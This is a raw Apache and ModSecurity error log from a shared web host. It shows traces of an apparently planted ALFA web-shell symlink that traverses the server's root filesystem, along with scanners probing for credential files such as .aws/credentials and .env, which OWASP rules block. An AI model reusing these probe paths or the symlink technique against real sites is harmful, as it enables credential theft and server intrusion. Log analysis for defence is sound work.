[Tue Oct 27 05:13:55.079092 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 185.191.171.8:23858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/align
[Tue Oct 27 05:14:02.205272 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.22.87.224:34587] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:14:22.173577 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.235.158.19:40432] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:14:26.250999 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.92.171.106:41539] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:14:30.152994 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 35.171.117.160:24420] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:14:42.241690 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.232.12.157:21128] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:15:01.732774 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 85.208.96.211:22824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/936/net/rpc/auth.unix.gid/flush
[Tue Oct 27 05:15:10.365796 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 98.84.131.195:47122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:15:22.750973 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 35.174.141.243:44278] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:15:35.261419 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.4.229.9:16752] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:15:46.415266 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 100.28.44.58:7856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:16:00.767895 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 85.208.96.199:10806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/objects_partial
[Tue Oct 27 05:16:26.177778 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.229.164.203:14697] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:16:34.278861 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.84.161.62:8808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:16:37.050738 2026] [security2:error] [pid 3201655:tid 3201655] [client 85.208.96.197:43110] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/gconv/IBM273.so"] [unique_id "auBr9WBUeABT7S80KTVFfQAAABY"]
[Tue Oct 27 05:16:37.050778 2026] [security2:error] [pid 3201655:tid 3201655] [client 85.208.96.197:43110] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/gconv/IBM273.so"] [unique_id "auBr9WBUeABT7S80KTVFfQAAABY"]
[Tue Oct 27 05:16:46.178769 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 98.84.200.43:37935] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:16:50.157914 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.87.62.248:25829] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:17:02.276290 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 18.215.49.176:4866] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:17:10.161167 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.214.251.19:4082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:17:30.150295 2026] [ssl:error] [pid 3201640:tid 3201640] (5)Input/output error: [client 23.23.180.225:56301] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:17:34.158825 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 3.229.2.217:52199] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1a/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/physical_node/subsystem/drivers_probe
[Tue Oct 27 05:17:38.478720 2026] [ssl:error] [pid 3201655:tid 3201655] (5)Input/output error: [client 3.231.193.38:1537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:17:54.239630 2026] [ssl:error] [pid 3201648:tid 3201648] (5)Input/output error: [client 3.89.170.186:55330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:17:58.141212 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.210.152.179:61790] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:02.166521 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 35.173.38.202:38776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:06.206906 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 18.232.12.157:61265] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:18.296624 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 44.223.232.55:34417] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:34.190968 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 18.213.27.222:15544] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:37.691717 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 185.191.171.2:19772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:37.726642 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 185.191.171.2:19774] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:38.170746 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.83.180.239:44055] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:45.808984 2026] [security2:error] [pid 3201648:tid 3201648] [client 84.32.63.139:33200] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auBsdSRZUkZtsPsHe3i2bwAAAA4"]
[Tue Oct 27 05:18:50.185697 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 98.84.60.17:8915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:18:54.412093 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.80.185.200:36157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:19:02.164369 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.213.240.226:18911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:19:25.625635 2026] [authz_core:error] [pid 3201653:tid 3201653] [client 159.223.130.135:34990] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:19:26.147103 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 3.214.176.44:39152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/memory9/subsystem/drivers_probe
[Tue Oct 27 05:19:58.163482 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.205.141.124:18950] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:20:02.195198 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 34.224.132.215:24902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/mouse0/subsystem/input1/device/firmware_node/physical_node/driver/00:01/driver/uevent
[Tue Oct 27 05:20:05.072294 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/backuply/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/backuply/' is executable
[Tue Oct 27 05:20:05.072350 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/pure-ftpd/' is executable
[Tue Oct 27 05:20:05.072832 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chkservd.services_suspend/' is executable
[Tue Oct 27 05:20:05.072883 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/restartsrv/' is executable
[Tue Oct 27 05:20:05.072897 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chrony/' is executable
[Tue Oct 27 05:20:05.073270 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/rpcbind/' is executable
[Tue Oct 27 05:20:05.073674 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/cryptsetup/' is executable
[Tue Oct 27 05:20:05.073690 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 16.216.88.147:36864] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/apache2/' is executable
[Tue Oct 27 05:20:06.171721 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.210.204.255:50939] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:20:14.362687 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.235.125.129:40169] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:20:18.148342 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 44.207.207.36:13289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory6/node0/memory16/subsystem/uevent
[Tue Oct 27 05:20:30.165828 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 98.82.66.172:44095] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:20:58.362316 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 54.152.163.42:15478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory18/subsystem/drivers_probe
[Tue Oct 27 05:21:02.147086 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 44.205.192.249:59316] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:21:06.152881 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 23.21.228.180:58376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:21:11.507048 2026] [authz_core:error] [pid 3201641:tid 3201641] [client 178.62.228.185:53232] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:21:15.565297 2026] [authz_core:error] [pid 3201647:tid 3201647] [client 178.62.228.185:48196] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:21:30.174454 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 35.169.102.85:17524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:21:38.175834 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 100.29.63.24:3828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/pcspkr/pcspkr/driver/module/uevent
[Tue Oct 27 05:21:42.174014 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 44.220.2.97:46122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:21:54.151844 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.225.45.252:36656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:21:58.155226 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 44.194.134.53:55647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXPWRBN:00/subsystem/uevent
[Tue Oct 27 05:22:10.204975 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 34.202.88.37:14272] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:22:14.181746 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.193.115.232:1613] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:22:15.740408 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 85.208.96.199:54594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/aliases
[Tue Oct 27 05:22:18.149630 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 52.3.127.170:11590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:22:22.145091 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 35.169.240.53:31555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/pcspkr/unbind
[Tue Oct 27 05:22:30.145017 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 98.82.107.102:4115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:22:38.267778 2026] [ssl:error] [pid 3201645:tid 3201645] (5)Input/output error: [client 18.214.251.19:65240] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:22:46.142791 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 52.54.157.23:24209] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/driver/unbind
[Tue Oct 27 05:23:14.140167 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.0.41.164:8195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:23:22.146563 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 52.2.4.213:21133] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:23:34.149045 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.83.23.103:34154] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:23:38.135960 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 54.197.178.107:44852] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:23:44.623386 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auBtoOJWPhOgLfVxy6aSRQAAAAI"]
[Tue Oct 27 05:23:44.623498 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auBtoBEnDOWBtFG5jRP6-AAAAAw"]
[Tue Oct 27 05:23:44.623677 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auBtoOJWPhOgLfVxy6aSRQAAAAI"]
[Tue Oct 27 05:23:44.623805 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auBtoBEnDOWBtFG5jRP6-AAAAAw"]
[Tue Oct 27 05:23:44.623927 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auBtoOJWPhOgLfVxy6aSRQAAAAI"]
[Tue Oct 27 05:23:44.624025 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auBtoBEnDOWBtFG5jRP6-AAAAAw"]
[Tue Oct 27 05:23:44.638000 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auBtoPNweTK95FG6k466nAAAABQ"]
[Tue Oct 27 05:23:44.638142 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auBtoPNweTK95FG6k466nAAAABQ"]
[Tue Oct 27 05:23:44.638406 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auBtoPNweTK95FG6k466nAAAABQ"]
[Tue Oct 27 05:23:44.649087 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auBtoJKov8XCMSQ3KFeUtQAAAAs"]
[Tue Oct 27 05:23:44.649277 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auBtoJKov8XCMSQ3KFeUtQAAAAs"]
[Tue Oct 27 05:23:44.649485 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auBtoJKov8XCMSQ3KFeUtQAAAAs"]
[Tue Oct 27 05:23:44.702142 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auBtoBEnDOWBtFG5jRP6-QAAAAw"]
[Tue Oct 27 05:23:44.702394 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auBtoBEnDOWBtFG5jRP6-QAAAAw"]
[Tue Oct 27 05:23:44.702637 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auBtoBEnDOWBtFG5jRP6-QAAAAw"]
